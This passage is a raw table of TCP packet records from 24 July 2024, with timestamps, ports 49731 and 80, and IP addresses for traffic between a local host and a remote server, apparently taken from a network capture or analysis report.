Jul 24, 2024 02:39:13.862195015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862221003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862229109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862253904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862265110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862289906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862292051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862323999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862330914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862354994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862366915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862389088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862400055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862422943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862430096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862456083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862467051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862488985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862493038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862523079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862530947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862557888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862569094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862592936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862600088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862626076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862636089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862658978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.862668991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.862703085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927149057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927196980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927211046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927232981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927239895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927265882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927273035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927299976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927309036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927334070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927345991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927367926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927378893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927400112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927412987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927433968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927457094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927465916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927473068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927500963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927508116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.927541971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.927584887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928250074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928272963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928288937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928302050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928304911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928320885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928323984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928332090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928337097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928349972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928354025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928358078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928379059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928385973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928404093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928406000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928412914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928421974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928436995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928442955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928452015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928463936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928467989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928472996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928495884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928512096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928529024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928544998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928574085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928591013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928605080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928620100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928634882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928651094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928664923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928678989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928693056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928706884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928721905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928720951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928720951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928720951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928720951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928720951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928720951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928721905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928721905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928739071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928739071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928739071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928739071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928739071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928750992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928754091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928761959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928770065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928785086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928791046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928797960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928801060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928807974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928816080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928832054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928833008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928841114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928847075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928858995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928863049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928867102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928878069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928884983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928894043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928896904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928909063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928915977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928924084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928924084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928940058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928942919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928956032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.928961039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928982973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.928992033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.951733112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.951802969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.951838017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.951854944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.951870918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.951894045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.951915026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.951921940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.951953888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.951963902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952008009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952019930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952039957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952048063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952074051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952081919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952111959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952121973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952145100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952156067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952181101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952183008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952223063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952223063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952255011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952264071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952287912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952300072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952316999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952331066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952351093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952361107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952384949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952415943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952447891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952507973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952548981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952577114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952609062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952641010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952668905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952719927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952747107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952754021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952775955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952786922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952811003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952819109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952828884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952867985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952872992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952903032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952910900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952939034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952948093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.952972889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.952980042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953012943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953015089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953046083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953058004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953078985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953087091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953111887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953135014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953145027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953155041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953178883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953186989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953207016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953219891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953238964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953253031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953273058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953299999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953305006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953310966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953337908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953373909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953397036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953408957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953424931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953443050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953453064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953475952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953488111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953507900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953520060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953543901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953552008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953577042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953587055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953610897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953619003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953644037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953654051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953676939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953685999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953708887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953717947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953742981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953748941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953775883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953798056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953809977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953816891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953844070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.953850031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.953886986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017143965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017210960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017246008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017277956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017304897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017333031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017348051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017375946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017378092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017410040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017419100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017452002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017460108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017493963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017502069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017532110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017539024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017574072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017584085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017616987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017623901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017649889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017657042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017682076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017690897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017723083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017734051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017766953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017779112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017807961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017822027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017854929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017862082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017889023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017895937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017920017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017930984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017954111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017961025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.017986059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.017993927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018018961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018026114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018052101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018062115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018069983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018085003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018094063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018101931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018110037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018116951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018122911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018134117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018146038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018155098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018173933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018246889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018261909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018276930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018291950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018304110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018307924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018321991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018328905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018337965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018338919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018352985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018364906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018368959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018377066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018384933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018393993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018400908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018409014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018415928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018424034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018430948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018440008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018448114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018461943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018462896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018487930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018511057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018887043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018902063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018917084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018929958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018939018 CEST	49731	80	192.168.2.4	77.91.77.81
